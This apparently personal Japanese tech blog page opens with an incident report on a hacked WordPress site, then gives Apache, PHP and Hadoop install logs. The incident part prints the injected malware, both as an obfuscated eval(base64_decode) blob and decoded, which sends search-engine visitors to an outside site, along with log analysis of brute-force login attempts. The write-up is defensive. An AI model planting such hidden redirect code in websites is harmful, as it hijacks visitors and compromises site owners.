暫く忙しく、アップグレードもパスワード変更もしてなかったら、
いつのまにか、ヘッダーに変な文字列が埋め込まれてしまい。
訳の分からないサイトにリダイレクトされてました。

気付いたのは、いつもどおり自分のメモ代わりのこのサイトで調べ物をしようとした時に、
スマホだと問題無くアクセス出来るが、PCからGoogleで検索してサイトにアクセスすると、
変なサイトに302 Redirectされてしまいました。但し、PCから直接サイトを指定して表示すると、
問題無くアクセスする事が出来ました。

実際の動きを確認する為に、Wiresharkで状況を確認してみました。

wireshark

どうやらRedirectされている事は間違いないようでした。

ソースコードを調べてみると、wordpressにあるlocationという変数を利用して特定の条件でアクセスするとリダイレクト
されるようにしてあったようです。最初は、暗号化されていたので分かりませんでしたが、
decodeしてみると以下のようになっていました。

暗号化

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9id2FrcS5teXouaW5mby8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

複合化
refererやブラウザーで条件を指定して特定のサイトにリダイレクトするコードになっていました。

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://bwakq.myz.info/");
exit();
}
}
}
}
}

DBの中身をダンプして調べましたが、特に怪しいコードはありませんでした。

とりあえず、ファイルの中身をgrepして特定の文字列を見つけてかなりのphpにコードが書かれている事を確認したので、
全てコードを入れ替えて、特定のソースに関しては、Perlでワンライナーして入れ替えました。
ワードプレスも、プラグインも最新に入れ替えてコードが無くなった事を確認したのでパスワードを変更して、
パーミッションを見直してとりあえず。OK。

仕事では無いのと単純なリダイレクトだったのでとりあえず問題ないけど、
やはり個人のサイトもきちんとメンテナンスして適切な状態にしておかないと
いけないなと感じる出来事でした。少し軽く考えてたと感じました。

少し確認しても、1つのIPから複数ブラウザーでアクセスしてきている事が確認出来ます。
IPを絞ってログを追いかければ、今後の対策が少し見えてきそうです。

$ awk '{print $1}' variable.jp_*.log | sort | uniq -c | sort -nr | head
   3524 124.44.xxx.xxx
   2412 209.85.xxx.xxx
   2157 199.15.xxx.xxx
   1997 198.200.xxx.xxx
   1813 198.200.xxx.xxx
   1740 198.2.xxx.xxx
   1668 142.4.xxx.xxx
   1578 198.200.xxx.xxx
   1458 142.4.xxx.xxx
   1448 210.172.xxx.xxx

anywhere@any-place /c/tmp
$

$ cat variable.jp_20130528.log | egrep -i "198.200.xxx.xxx" | awk '{print $12,$13,14,$15,$16,$17,$18,$19}' | sort | uniq -c | sort -nr | head
     12 "Opera/9.80 (Windows 14 6.1; WOW64; MRA 6.0 (build
      9 "Mozilla/5.0 (Windows 14 6.1) AppleWebKit/535.19 (KHTML, like Gecko)
      9 "Mozilla/5.0 (Windows 14 6.0) AppleWebKit/537.11 (KHTML, like Gecko)
      6 "Opera/9.80 (Windows 14 6.1; WOW64; Edition Yx) Presto/2.12.388
      6 "Mozilla/5.0 (Windows; 14 Windows NT 6.1; en-US) AppleWebKit/534.10
      6 "Mozilla/5.0 (Windows 14 6.1; WOW64) AppleWebKit/535.19 (KHTML, like
      6 "Mozilla/5.0 (Windows 14 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
      3 "Opera/9.80 (Windows 14 6.2; WOW64; MRA 8.0 (build
      3 "Opera/9.80 (Windows 14 6.2; U; en) Presto/2.10.289 Version/12.02"
      3 "Opera/9.80 (Windows 14 6.1; U; ru) Presto/2.10.289 Version/12.02"

anywhere@any-place /c/tmp
$


anywhere@any-place /c/tmp
$ awk '{print $7}' variable.jp_*.log  | grep 'wp-login' | sort | uniq -c | sort -nr | head
  14114 /wp-login.php
     13 /2009/wp-login.php?action=register
     12 /wp-login.php?redirect_to=http%3A%2F%2Fvariable.jp%2Fwp-admin%2F&reauth=1
     11 /wp-login.php?action=register
      8 /wp-login.php?action=lostpassword
      6 /wp-login.php?registration=disabled
      2 /wp-login.php?loggedout=true
      2 /wp-login.php/?action=register
      1 /wp-login.php?redirect_to=http://variable.jp/wp-admin/&reauth=1
      1 /wp-login.php?action=logout&_wpnonce=e1403e3394

anywhere@any-place /c/tmp
$

とりあえず、ログをダンプしたので少し確認して対策して見ます。


APACHEとPHPのアップグレード
Apache HTTP Server 2.4.3が出ていたので,Apacheのアップグレード対応しようと思いましたが、
2.2.xxの方が安定してそうだったので2.2.22でアップグレード。
——————–

[root@aws bin]# /usr/local/apache2/bin/httpd -v
Server version: Apache/2.2.22 (Unix)
Server built:   Sep  8 2012 22:42:21
[root@aws bin]# /usr/local/bin/php -v
PHP 5.4.6 (cli) (built: Sep  9 2012 00:34:45)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
[root@aws bin]#

—————————————————————
apacheインストール
Apache HTTP Server 2.2.22 (httpd)
http://httpd.apache.org/download.cgi#apache24
—————————————————————

apacheのダウンロード

[root@aws src]# <code>wget http://ftp.kddilabs.jp/infosystems/apache//httpd/httpd-2.2.22.tar.gz
--2012-09-08 22:33:01--  http://ftp.kddilabs.jp/infosystems/apache//httpd/httpd-2.2.22.tar.gz
Resolving ftp.kddilabs.jp... 192.26.91.193, 2001:200:601:10:206:5bff:fef0:466c
Connecting to ftp.kddilabs.jp|192.26.91.193|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7200529 (6.9M) [application/x-gzip]
Saving to: “httpd-2.2.22.tar.gz”

100%[=========================================================>] 7,200,529   3.59M/s   in 1.9s

2012-09-08 22:33:03 (3.59 MB/s) - “httpd-2.2.22.tar.gz” saved [7200529/7200529]
</code>
[root@aws src]#


[root@aws src]# ls -l
total 377160
-rw-r--r-- 1 root     root       7200529 Jan 30  2012 httpd-2.2.22.tar.gz
-rw-r--r-- 1 root     root       6137268 Aug 20 13:22 httpd-2.4.3.tar.gz
-rw-rw-r-- 1 ec2-user ec2-user 186355822 Jul  6 23:07 mysql-5.5.25a-linux2.6-x86_64.tar.gz
-rw-rw-r-- 1 ec2-user ec2-user 186504948 Aug 26 11:37 mysql-5.5.27-linux2.6-x86_64.tar.gz
[root@aws src]#


<strong>apache tarの展開</strong>
[root@aws src]# tar xzvf httpd-2.2.22.tar.gz
httpd-2.2.22/
httpd-2.2.22/emacs-style
httpd-2.2.22/httpd.dsp
httpd-2.2.22/libhttpd.dsp
httpd-2.2.22/.deps
httpd-2.2.22/Makefile.in
httpd-2.2.22/include/
httpd-2.2.22/include/scoreboard.h
httpd-2.2.22/include/ap_regkey.h
httpd-2.2.22/include/ap_compat.h
httpd-2.2.22/include/http_config.h
httpd-2.2.22/include/util_time.h
httpd-2.2.22/include/ap_mmn.h

[省略]

httpd-2.2.22/libhttpd.dep
httpd-2.2.22/configure.in
httpd-2.2.22/VERSIONING
httpd-2.2.22/README
httpd-2.2.22/LAYOUT
httpd-2.2.22/buildconf
httpd-2.2.22/.gdbinit
[root@aws src]#


[root@aws src]# ls -l
total 377164
drwxr-xr-x 11      500 ec2-user      4096 Jan 25  2012 httpd-2.2.22
-rw-r--r--  1 root     root       7200529 Jan 30  2012 httpd-2.2.22.tar.gz
-rw-r--r--  1 root     root       6137268 Aug 20 13:22 httpd-2.4.3.tar.gz
-rw-rw-r--  1 ec2-user ec2-user 186355822 Jul  6 23:07 mysql-5.5.25a-linux2.6-x86_64.tar.gz
-rw-rw-r--  1 ec2-user ec2-user 186504948 Aug 26 11:37 mysql-5.5.27-linux2.6-x86_64.tar.gz
[root@aws src]#

展開したApacheのconfigureとmake

[root@aws src]# cd httpd-2.2.22
[root@aws httpd-2.2.22]# pwd
/usr/local/src/httpd-2.2.22
[root@aws httpd-2.2.22]#

—————————————————————
■基本コンフィグでconfigureを実行
—————————————————————

<code>
./configure \
--enable-rewrite --enable-expires --enable-so \
--prefix=/usr/local/httpd-2_2_22
</code>

—————————————————————

[root@aws httpd-2.2.22]# ./configure \
> --enable-rewrite --enable-expires --enable-so \
> --prefix=/usr/local/httpd-2_2_22
checking for chosen layout... Apache
checking for working mkdir -p... yes
checking build system type... x86_64-unknown-linux-gnu
checking host system type... x86_64-unknown-linux-gnu
checking target system type... x86_64-unknown-linux-gnu
Configuring Apache Portable Runtime library ...

checking for APR... yes
  setting CC to "gcc"
  setting CPP to "gcc -E"
  setting CFLAGS to "  -pthread"
  setting CPPFLAGS to " -DLINUX=2 -D_REENTRANT -D_GNU_SOURCE"
  setting LDFLAGS to " "

Configuring Apache Portable Runtime Utility library...

checking for APR-util... yes
checking for gcc... gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no

[省略]

config.status: creating docs/conf/extra/httpd-vhosts.conf
config.status: creating include/ap_config_layout.h
config.status: creating support/apxs
config.status: creating support/apachectl
config.status: creating support/dbmmanage
config.status: creating support/envvars-std
config.status: creating support/log_server_status
config.status: creating support/logresolve.pl
config.status: creating support/phf_abuse_log.cgi
config.status: creating support/split-logfile
config.status: creating build/rules.mk
config.status: creating build/pkg/pkginfo
config.status: creating build/config_vars.sh
config.status: creating include/ap_config_auto.h
config.status: executing default commands
[root@aws httpd-2.2.22]#

[root@aws httpd-2.2.22]# make
Making all in srclib
make[1]: Entering directory `/usr/local/src/httpd-2.2.22/srclib'
Making all in pcre
make[2]: Entering directory `/usr/local/src/httpd-2.2.22/srclib/pcre'
make[3]: Entering directory `/usr/local/src/httpd-2.2.22/srclib/pcre'

[省略]

make[1]: Leaving directory `/usr/local/src/httpd-2.2.22'
[root@aws httpd-2.2.22]#


[root@aws httpd-2.2.22]# ls -l /usr/local/
total 48
drwxr-xr-x  2 root  root  4096 May 27 09:00 bin
drwxr-xr-x  2 root  root  4096 Jan  6  2012 etc
drwxr-xr-x  2 root  root  4096 Jan  6  2012 games
drwxr-xr-x  3 root  root  4096 May 27 09:00 include
drwxr-xr-x  2 root  root  4096 May 26 23:12 lib
drwxr-xr-x  3 root  root  4096 Mar 24 17:06 lib64
drwxr-xr-x  2 root  root  4096 Jan  6  2012 libexec
lrwxrwxrwx  1 root  root    39 Aug 26 12:09 mysql -> /usr/local/mysql-5.5.27-linux2.6-x86_64
drwxrwxr-x 13 mysql mysql 4096 Jul  7 04:44 mysql-5.5.25a-linux2.6-x86_64
drwxr-xr-x 14 mysql mysql 4096 Aug 26 12:09 mysql-5.5.27-linux2.6-x86_64
drwxr-xr-x  2 root  root  4096 Jan  6  2012 sbin
drwxr-xr-x  6 root  root  4096 Mar 24 17:06 share
drwxr-xr-x  3 root  root  4096 Sep  8 22:35 src
[root@aws httpd-2.2.22]# 


[root@aws httpd-2.2.22]# make install
Making install in srclib
make[1]: Entering directory `/usr/local/src/httpd-2.2.22/srclib'
Making install in pcre
make[2]: Entering directory `/usr/local/src/httpd-2.2.22/srclib/pcre'
make[3]: Entering directory `/usr/local/src/httpd-2.2.22/srclib/pcre'
make[3]: Leaving directory `/usr/local/src/httpd-2.2.22/srclib/pcre'
make[2]: Leaving directory `/usr/local/src/httpd-2.2.22/srclib/pcre'
make[2]: Entering directory `/usr/local/src/httpd-2.2.22/srclib'
make[2]: Leaving directory `/usr/local/src/httpd-2.2.22/srclib'
make[1]: Leaving directory `/usr/local/src/httpd-2.2.22/srclib'

[省略]

mkdir /usr/local/httpd-2_2_22/build
Installing man pages and online manual
mkdir /usr/local/httpd-2_2_22/man
mkdir /usr/local/httpd-2_2_22/man/man1
mkdir /usr/local/httpd-2_2_22/man/man8
mkdir /usr/local/httpd-2_2_22/manual
make[1]: Leaving directory `/usr/local/src/httpd-2.2.22'
[root@aws httpd-2.2.22]# 



[root@aws httpd-2.2.22]# ls -l /usr/local/
total 52
drwxr-xr-x  2 root  root  4096 May 27 09:00 bin
drwxr-xr-x  2 root  root  4096 Jan  6  2012 etc
drwxr-xr-x  2 root  root  4096 Jan  6  2012 games
drwxr-xr-x 14 root  root  4096 Sep  8 22:44 httpd-2_2_22
drwxr-xr-x  3 root  root  4096 May 27 09:00 include
drwxr-xr-x  2 root  root  4096 May 26 23:12 lib
drwxr-xr-x  3 root  root  4096 Mar 24 17:06 lib64
drwxr-xr-x  2 root  root  4096 Jan  6  2012 libexec
lrwxrwxrwx  1 root  root    39 Aug 26 12:09 mysql -> /usr/local/mysql-5.5.27-linux2.6-x86_64
drwxrwxr-x 13 mysql mysql 4096 Jul  7 04:44 mysql-5.5.25a-linux2.6-x86_64
drwxr-xr-x 14 mysql mysql 4096 Aug 26 12:09 mysql-5.5.27-linux2.6-x86_64
drwxr-xr-x  2 root  root  4096 Jan  6  2012 sbin
drwxr-xr-x  6 root  root  4096 Mar 24 17:06 share
drwxr-xr-x  3 root  root  4096 Sep  8 22:35 src
[root@aws httpd-2.2.22]#

インストール後にシンボリックリンク作成
後でバージョンアップや切戻しを楽にするた為。

[root@aws local]# ln -s /usr/local/httpd-2_2_22 /usr/local/apache2
[root@aws local]# ls -l
total 52
lrwxrwxrwx  1 root  root    23 Sep  8 22:47 apache2 -> /usr/local/httpd-2_2_22
drwxr-xr-x  2 root  root  4096 May 27 09:00 bin
drwxr-xr-x  2 root  root  4096 Jan  6  2012 etc
drwxr-xr-x  2 root  root  4096 Jan  6  2012 games
drwxr-xr-x 14 root  root  4096 Sep  8 22:44 httpd-2_2_22
drwxr-xr-x  3 root  root  4096 May 27 09:00 include
drwxr-xr-x  2 root  root  4096 May 26 23:12 lib
drwxr-xr-x  3 root  root  4096 Mar 24 17:06 lib64
drwxr-xr-x  2 root  root  4096 Jan  6  2012 libexec
lrwxrwxrwx  1 root  root    39 Aug 26 12:09 mysql -> /usr/local/mysql-5.5.27-linux2.6-x86_64
drwxrwxr-x 13 mysql mysql 4096 Jul  7 04:44 mysql-5.5.25a-linux2.6-x86_64
drwxr-xr-x 14 mysql mysql 4096 Aug 26 12:09 mysql-5.5.27-linux2.6-x86_64
drwxr-xr-x  2 root  root  4096 Jan  6  2012 sbin
drwxr-xr-x  6 root  root  4096 Mar 24 17:06 share
drwxr-xr-x  3 root  root  4096 Sep  8 22:35 src
[root@aws local]#

symbolic

アカウントは既に作成済み

[root@aws local]# cat /etc/passwd | grep apache2
apache:x:558:558:Apache:/usr/local/apache2:/sbin/nologin
[root@aws local]#

※フォルダー権限等も既に設定済み。

init.dの変更・作成

----------------------------------------------------------------------------------------
[root@aws local]# vi /etc/init.d/httpd2
[root@aws local]# chmod 755 /etc/init.d/httpd2
----------------------------------------------------------------------------------------
[BASH]
#!/bin/bash
#
# Startup script for Apache Web Server
#
# chkconfig: 345 85 15
# description: Apache is a World Wide Web server. It is used to serve \
#     HTML files and CGI.
# processname: httpd
# pidfile: /var/run/httpd.pid
# config: /usr/local/apache2/conf/httpd.conf

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin:/bin
CMDPATH=/usr/local/apache2/bin/
CMD=apachectl

test -f $CMDPATH$CMD || exit 0

start()
{
    echo -n "Starting httpd ... "
    $CMDPATH$CMD start
    echo "done."
}

stop()
{
    echo -n "Stopping httpd ... "
    $CMDPATH$CMD stop
    echo "done."
}

case "$1" in
    start)
        start
        ;;
    stop)
        stop
        ;;
    restart|force-reload)
        stop
        sleep 2
        start
        ;;
    *)
        echo "Usage: /etc/rc.d/init.d/rc.httpd2 {start|stop|restart}"
        exit 1
        ;;
esac

exit 0
[/BASH]
----------------------------------------------------------------------------------------

[root@aws local]# ls -l /etc/init.d/httpd2
-rwxr-xr-x 1 root root 870 Sep  8 23:00 /etc/init.d/httpd2
[root@aws local]#

<strong>OS起動時の自動起動設定</strong>
[root@aws local]# /sbin/chkconfig httpd2 on
[root@aws local]# /sbin/chkconfig --list httpd2
httpd2          0:off   1:off   2:on    3:on    4:on    5:on    6:off
[root@aws local]#

PHPインストール・バージョンアップ
—————————————————————————————-
■PHPインストール php-5.4.6.tar.gz 13,964,954 bytes
http://jp.php.net/get/php-5.4.6.tar.gz/from/a/mirror
—————————————————————————————-

 <code>./configure \
--prefix=/usr/local/php-5.4.6 --with-config-file-path=/etc \
--with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql \
--enable-sockets</code>

—————————————————————————————-

[root@aws php-5.4.6]#  ./configure \
> --prefix=/usr/local/php-5.4.6 --with-config-file-path=/etc \
> --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql \
> --enable-sockets
checking for grep that handles long lines and -e... /bin/grep
checking for egrep... /bin/grep -E
checking for a sed that does not truncate output... /bin/sed
checking build system type... x86_64-unknown-linux-gnu
checking host system type... x86_64-unknown-linux-gnu
checking target system type... x86_64-unknown-linux-gnu
checking for cc... cc

[省略]

Generating files
configure: creating ./config.status
creating main/internal_functions.c
creating main/internal_functions_cli.c
+--------------------------------------------------------------------+
| License:                                                           |
| This software is subject to the PHP License, available in this     |
| distribution in the file LICENSE.  By continuing this installation |
| process, you are bound by the terms of this license agreement.     |
| If you do not agree with the terms of this license, you must abort |
| the installation process at this point.                            |
+--------------------------------------------------------------------+

Thank you for using PHP.

config.status: creating php5.spec
config.status: creating main/build-defs.h
config.status: creating scripts/phpize
config.status: creating scripts/man1/phpize.1
config.status: creating scripts/php-config
config.status: creating scripts/man1/php-config.1
config.status: creating sapi/cli/php.1
config.status: creating main/php_config.h
config.status: executing default commands
[root@aws php-5.4.6]#

メモ:PHPインストール時にエラーが出たので依存関係解決
—————————————————————————————-
[root@aws php-5.4.6]# yum install libxml2
[root@aws php-5.4.6]# yum install libxml2-devel
—————————————————————————————-

[root@aws php-5.4.6]# make install
Installing PHP SAPI module:       apache2handler
/usr/local/httpd-2_2_22/build/instdso.sh SH_LIBTOOL='/usr/lib64/apr-1/build/libtool' libphp5.la /usr/local/httpd-2_2_22/modules
/usr/lib64/apr-1/build/libtool --mode=install cp libphp5.la /usr/local/httpd-2_2_22/modules/
libtool: install: cp .libs/libphp5.so /usr/local/httpd-2_2_22/modules/libphp5.so
libtool: install: cp .libs/libphp5.lai /usr/local/httpd-2_2_22/modules/libphp5.la
libtool: install: warning: remember to run `libtool --finish /usr/local/src/php-5.4.6/libs'
chmod 755 /usr/local/httpd-2_2_22/modules/libphp5.so
[activating module `php5' in /usr/local/httpd-2_2_22/conf/httpd.conf]
Installing PHP CLI binary:        /usr/local/php-5.4.6/bin/
Installing PHP CLI man page:      /usr/local/php-5.4.6/php/man/man1/
Installing PHP CGI binary:        /usr/local/php-5.4.6/bin/
Installing build environment:     /usr/local/php-5.4.6/lib/php/build/
Installing header files:          /usr/local/php-5.4.6/include/php/
Installing helper programs:       /usr/local/php-5.4.6/bin/
  program: phpize
  program: php-config
Installing man pages:             /usr/local/php-5.4.6/php/man/man1/
  page: phpize.1
  page: php-config.1
Installing PEAR environment:      /usr/local/php-5.4.6/lib/php/
[PEAR] Archive_Tar    - installed: 1.3.7
[PEAR] Console_Getopt - installed: 1.3.0
[PEAR] Structures_Graph- installed: 1.0.4
[PEAR] XML_Util       - installed: 1.2.1
[PEAR] PEAR           - installed: 1.9.4

/usr/local/src/php-5.4.6/build/shtool install -c ext/phar/phar.phar /usr/local/php-5.4.6/bin
ln -s -f /usr/local/php-5.4.6/bin/phar.phar /usr/local/php-5.4.6/bin/phar
Installing PDO headers:          /usr/local/php-5.4.6/include/php/ext/pdo/
[root@aws php-5.4.6]#

[root@aws local]# <code>ln -sfn /usr/local/php-5.4.6/bin/php /usr/local/bin/php</code>
[root@aws local]# <code>ln -sfn /usr/local/php-5.4.6/bin/php-config /usr/local/bin/php-config</code>
[root@aws local]# <code>ln -sfn /usr/local/php-5.4.6/bin/phpize /usr/local/bin/phpize</code>
[root@aws local]# <code>ln -sfn /usr/local/php-5.4.6/lib/php /usr/local/lib/php</code>

<a href="http://variable.jp/wp-content/uploads/2012/09/php-symbolic.jpg"><img src="http://variable.jp/wp-content/uploads/2012/09/php-symbolic.jpg" alt="PHP" title="php-symbolic" width="633" height="256" /></a>


<strong>php.iniの設定変更(セキュリティ・MYSQL Socket調整)</strong>
[root@aws local]# cp -rp /usr/local/src/php-5.4.6/php.ini-production /etc/php.ini
[root@aws local]# vi /etc/php.ini
[root@aws local]# cat /etc/php.ini | egrep -i "expose_php|mysql.default_socket"
; expose_php = On
expose_php = Off
pdo_mysql.default_socket=
;mysql.default_socket =
mysql.default_socket = /usr/local/mysql/data/mysql.sock
[root@aws local]#

—————————————————————————————-
PHP設定メモ:
—————————————————————————————-
register_globals
http://php.net/manual/ja/ini.core.php
この機能は PHP 5.3.0 で 非推奨となり、 PHP 5.4.0 で削除されました。
register_globals は、 variables_order ディレクティブの影響を受けます。
—————————————————————————————-

—————————————————————————————-
LoadModules,Rewriteを利用する為にFollowSymLinksとAllowOverrideを設定
—————————————————————————————-

[root@aws conf]# cat httpd.conf | egrep -i "php|Options"
LoadModule php5_module modules/libphp5.so
    # Options Indexes FollowSymLinks
    Options FollowSymLinks
    DirectoryIndex index.php
    AddType application/x-httpd-php .php
[root@aws conf]#


[root@aws local]# /etc/init.d/httpd2 restart
Stopping httpd ... done.
Starting httpd ... done.
[root@aws local]#

【オリジナルサイト】
Welcome to Apache™ Hadoop™!
Hadoop Common Releases

Other Info
Linux と Hadoop による分散コンピューティング

【JAVAのインストール】
■ JDKインストール Java SE Development Kit(JDK、v1.6以上推奨)
http://www.oracle.com/technetwork/java/javase/downloads/index.html
http://www.oracle.com/technetwork/java/javase/downloads/jdk-6u32-downloads-1594644.html

[root@colinux hadoop]# ls -l
合計 67060
-rw-rw-r– 1 root root 68593311 2012-05-12 08:03 jdk-6u32-linux-i586-rpm.bin
[root@colinux hadoop]# chmod 755 jdk-6u32-linux-i586-rpm.bin

[root@colinux hadoop]# ./jdk-6u32-linux-i586-rpm.bin
Unpacking…
Checksumming…
Extracting…
UnZipSFX 5.50 of 17 February 2002, by Info-ZIP (Zip-Bugs@lists.wku.edu).
inflating: jdk-6u32-linux-i586.rpm
inflating: sun-javadb-common-10.6.2-1.1.i386.rpm
inflating: sun-javadb-core-10.6.2-1.1.i386.rpm
inflating: sun-javadb-client-10.6.2-1.1.i386.rpm
inflating: sun-javadb-demo-10.6.2-1.1.i386.rpm
inflating: sun-javadb-docs-10.6.2-1.1.i386.rpm
inflating: sun-javadb-javadoc-10.6.2-1.1.i386.rpm
準備中… ########################################### [100%]
1:jdk ########################################### [100%]
Unpacking JAR files…
rt.jar…
jsse.jar…
charsets.jar…
tools.jar…
localedata.jar…
plugin.jar…
javaws.jar…
deploy.jar…
Installing JavaDB
準備中… ########################################### [100%]
1:sun-javadb-common ########################################### [ 17%]
2:sun-javadb-core ########################################### [ 33%]
3:sun-javadb-client ########################################### [ 50%]
4:sun-javadb-demo ########################################### [ 67%]
5:sun-javadb-docs ########################################### [ 83%]
6:sun-javadb-javadoc ########################################### [100%]

Java(TM) SE Development Kit 6 successfully installed.

Product Registration is FREE and includes many benefits:
* Notification of new versions, patches, and updates
* Special offers on Oracle products, services and training
* Access to early releases and documentation

[root@colinux hadoop]# java -version
java version “1.6.0_32”
Java(TM) SE Runtime Environment (build 1.6.0_32-b05)
Java HotSpot(TM) Client VM (build 20.7-b02, mixed mode, sharing)
[root@colinux hadoop]#

【 Hadoopインストール】
※2012年5月現在
http://hadoop.apache.org/common/releases.html#Download
http://ftp.kddilabs.jp/infosystems/apache/hadoop/common/
http://ftp.kddilabs.jp/infosystems/apache/hadoop/common/stable/

1.0.X – current stable version, 1.0 release
1.1.X – current beta version, 1.1 release
0.23.X – current alpha version, MR2
0.22.X – does not include security
0.20.203.X – legacy stable version
0.20.X – legacy version

リリースノート
http://ftp.kddilabs.jp/infosystems/apache/hadoop/common/stable/RELEASE_NOTES_HADOOP-1.0.1.html

[root@colinux hadoop]# wget http://ftp.kddilabs.jp/infosystems/apache/hadoop/common/stable/hadoop-1.0.1.tar.gz
–2012-05-12 12:11:03– http://ftp.kddilabs.jp/infosystems/apache/hadoop/common/stable/hadoop-1.0.1.tar.gz
ftp.kddilabs.jp をDNSに問いあわせています… 192.26.91.193, 2001:200:601:10:206:5bff:fef0:466c
ftp.kddilabs.jp|192.26.91.193|:80 に接続しています… 接続しました。
HTTP による接続要求を送信しました、応答を待っています… 200 OK
長さ: 60811130 (58M) [application/x-gzip]
`hadoop-1.0.1.tar.gz’ に保存中

100%[=============================================================================================================================>] 60,811,130 3.24M/s 時間 21s

2012-05-12 12:11:24 (2.72 MB/s) – `hadoop-1.0.1.tar.gz’ へ保存完了 [60811130/60811130]

[root@colinux hadoop]#

[root@colinux hadoop]# mv hadoop-1.0.1.tar.gz /usr/local/
[root@colinux local]# pwd
/usr/local
[root@colinux local]# tar zxf hadoop-1.0.1.tar.gz
[root@colinux local]#

[root@colinux local]# ls -l
合計 84
drwxr-xr-x 2 root root 4096 2011-12-10 10:12 bin
drwxr-xr-x 2 root root 4096 2011-12-10 10:12 etc
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 games
drwxr-xr-x 14 root root 4096 2012-02-14 17:18 hadoop-1.0.1
drwxr-xr-x 3 root root 4096 2011-11-05 09:00 include
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 lib
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 libexec
lrwxrwxrwx 1 root root 38 2009-12-26 01:40 mysql -> mysql-5.5.0-m2-linux-i686-icc-glibc23/
drwxr-xr-x 14 mysql mysql 4096 2009-12-22 00:23 mysql-5.1.41-linux-i686-icc-glibc23
drwxr-xr-x 14 mysql mysql 4096 2009-12-26 01:37 mysql-5.5.0-m2-linux-i686-icc-glibc23
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 sbin
drwxr-xr-x 6 root root 4096 2011-12-10 10:12 share
drwxr-xr-x 2 root root 4096 2011-01-09 17:14 src
drwxrwxrwt 2 root root 40 2012-05-12 06:49 tmp
[root@colinux local]# ln -s /usr/local/hadoop-1.0.1 /usr/local/hadoop
[root@colinux local]# ls -l
合計 84
drwxr-xr-x 2 root root 4096 2011-12-10 10:12 bin
drwxr-xr-x 2 root root 4096 2011-12-10 10:12 etc
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 games
lrwxrwxrwx 1 root root 23 2012-05-12 12:17 hadoop -> /usr/local/hadoop-1.0.1
drwxr-xr-x 14 root root 4096 2012-02-14 17:18 hadoop-1.0.1
drwxr-xr-x 3 root root 4096 2011-11-05 09:00 include
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 lib
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 libexec
lrwxrwxrwx 1 root root 38 2009-12-26 01:40 mysql -> mysql-5.5.0-m2-linux-i686-icc-glibc23/
drwxr-xr-x 14 mysql mysql 4096 2009-12-22 00:23 mysql-5.1.41-linux-i686-icc-glibc23
drwxr-xr-x 14 mysql mysql 4096 2009-12-26 01:37 mysql-5.5.0-m2-linux-i686-icc-glibc23
drwxr-xr-x 2 root root 4096 2007-04-17 21:46 sbin
drwxr-xr-x 6 root root 4096 2011-12-10 10:12 share
drwxr-xr-x 2 root root 4096 2011-01-09 17:14 src
drwxrwxrwt 2 root root 40 2012-05-12 06:49 tmp
[root@colinux local]#

【Hadoopサービスアカウント設定(パス無し鍵認証)】

[root@colinux local]# /usr/sbin/useradd hadoop
[root@colinux local]# chown -R hadoop:hadoop /usr/local/hadoop-1.0.1
[root@colinux local]#
[root@colinux local]# passwd hadoop
Changing password for user hadoop.
新しいUNIX パスワード:
新しいUNIX パスワードを再入力してください:
passwd: all authentication tokens updated successfully.
[root@colinux local]#
